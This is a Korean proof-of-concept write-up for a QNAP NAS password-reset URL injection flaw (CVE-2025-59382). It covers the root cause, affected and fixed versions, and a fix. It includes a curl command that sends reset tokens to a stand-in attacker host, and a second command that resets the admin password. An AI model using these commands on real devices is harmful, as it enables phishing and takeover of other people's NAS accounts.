rat5ak/cve-2025-59382-qnap-password-reset-account-takeoverCVE-2025-59382에 대한 개념 증명 및 기술 분석 문서. QNAP NAS의 인증되지 않은 비밀번호 재설정 URL 주입 취약점으로, 피싱을 통한 계정 탈취 공격 체인을 가능하게 합니다.
인증되지 않은 공격자가 제어하는 비밀번호 재설정 URL이 /cgi-bin/reset_password.cgi에 존재합니다.
실험실 환경에서 QuTScloud c5.2.4.3041 build 20250211에 대해 테스트했습니다. QNAP은 이후 권고 QSA-26-10에서 이를 CVE-2025-59382로 발표했습니다.
로컬 네트워크에 접근 가능하거나 노출된 NAS 관리 인터페이스에 접근할 수 있는 인증되지 않은 공격자는 /cgi-bin/reset_password.cgi의 send_mail 함수에서 url 매개변수를 조작하여 공식 QNAP 비밀번호 재설정 이메일에 임의의 URL을 삽입할 수 있습니다.
피해자는 NAS로부터 실제 QNAP 비밀번호 재설정 이메일을 받습니다. 공격자 URL은 HTML 이메일 본문에 직접 포함되며, QNAP은 해당 URL에 재설정 토큰(rp)을 추가합니다.
이를 통해 비밀번호 재설정 이메일이 깔끔한 피싱→계정 탈취 체인으로 변합니다:
rp 재설정 토큰을 받습니다.vc)를 입력합니다.피해자의 상호작용이 필요하지만, 공격자 인증은 필요하지 않습니다.
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
NAS는 공식 재설정 이메일을 보내고 재설정 토큰을 공격자 URL에 추가합니다. 예를 들면:
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
인증 코드도 같은 이메일에 표시됩니다. 실험실 증거에서는 다음과 같았습니다:
Your verification code is: 2FEA2B8B
따라서 피싱 페이지는 피해자에게 인증 코드만 요청하면 됩니다. 링크가 클릭되면 rp 토큰은 이미 공격자의 서버로 전달됩니다.
공격자가 rp 토큰과 관련 vc 인증 코드를 확보하면 관리자 비밀번호를 재설정할 수 있습니다:
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"
최종 재설정 호출은 POST여야 합니다. 피해자가 가짜 페이지에 입력한 인증 코드는 vc=<code>로 QNAP에 전송됩니다.
새 비밀번호는 new_pw에 base64로 인코딩됩니다. PoC에서는 이 방법으로 관리자 비밀번호를 변경하고 관리자로 로그인하기에 충분했습니다.
정상적인 프론트엔드 흐름은 다음과 같은 로컬 NAS URL을 구성합니다:
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
그러나 백엔드는 자체적으로 재설정 URL을 생성하는 대신 클라이언트가 제공한 url 매개변수를 신뢰합니다. 그런 다음 해당 값을 사용하여 이메일 링크를 구성하고 다음을 추가합니다:
&u=<user>&rp=<reset_token>
url로 전달되는 모든 값을 그대로 신뢰합니다.
신뢰할 수 있는 NAS 이메일이 전달을 수행합니다.
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 보통QNAP은 영향을 받는 제품을 다음과 같이 나열합니다:
5.2.7h5.2.8c5.2.82.7.1QNAP이 나열한 수정 버전:
5.2.9.3499h5.2.9C5.2.92.8.0QNAP은 이 문제를 원격 공격자가 비밀번호 재설정 URL을 수정하고 피해자를 속여 공격자가 제어하는 재설정 페이지를 방문하게 하여 자격 증명을 탈취하는 것으로 설명했습니다.
제 실험실 대상은 QuTScloud c5.2.4.3041 build 20250211였습니다. 실험실에서 피해자 상호작용 후 관리자 비밀번호 재설정 및 관리자 로그인이 가능함을 확인했습니다.
참고: 2026-05-09에 실험실에서 이를 재현하고 2026-05-11에 QNAP에 제출했으며, QNAP은 이를 INTSI000-9029의 중복으로 표시했습니다. QNAP이 CVE/권고를 발표했으므로 POC를 공개합니다. 최초 발견자인 Tim Coen에게 감사를 표합니다.
QNAP이 사용한 정확한 패치를 알 수 없습니다. 권고에는 수정 버전만 나열되어 있습니다.
올바른 수정 방법은 간단합니다: 브라우저가 NAS에 재설정 링크가 가리켜야 할 위치를 알려주지 않도록 하는 것입니다.
NAS가 링크를 자체적으로 구성해야 합니다. QNAP이 여전히 흐름에 url 매개변수가 필요하다면, 일반 NAS 재설정 페이지만 허용하고 외부의 모든 것을 거부해야 합니다.
또한 이메일 본문에 포함되는 모든 내용을 인코딩하고, 인증되지 않은 재설정 이메일 요청에 속도 제한을 두는 것이 좋습니다.
면책 조항: 이 익스플로잇 코드는 교육 및 방어 연구 목적으로 공개되었습니다. 소유하지 않거나 테스트할 명시적 권한이 없는 시스템에
사용하지 마십시오. 저자는 오용에 대해 책임을 지지 않습니다.